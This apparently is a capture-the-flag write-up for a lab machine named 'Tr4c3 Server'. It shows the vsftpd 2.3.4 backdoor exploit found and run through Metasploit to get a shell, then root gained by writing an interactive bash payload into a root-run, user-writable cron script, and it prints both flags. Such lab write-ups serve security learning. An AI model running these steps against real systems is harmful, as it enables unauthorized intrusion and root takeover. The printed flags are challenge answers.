

Tr4c3 Server

We can see the open port for ftp, to see the detailed information about the FTP port use the below command. Once you see the detailed information about the FTP service, go to metasploit and search for vsftpd exploit.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Use the exploit mentioned above set the Remote host and the Remote port, then run the exploit. We get the reverse shell of the Ubuntu Machine.

USER FLAG: flag{35cea728fbf2032830c8a44f9aa1f5c4750300c7}

By checking the crontabs we see that root.sh runs as root and user has access to write to the .sh file

payload:

```
#!/bin/bash
# root.sh payload to gain root access
/bin/bash -i
```

ROOT FLAG: flag{c8d1cd40d8740b9efc761419ad7b3d46b4e10a35}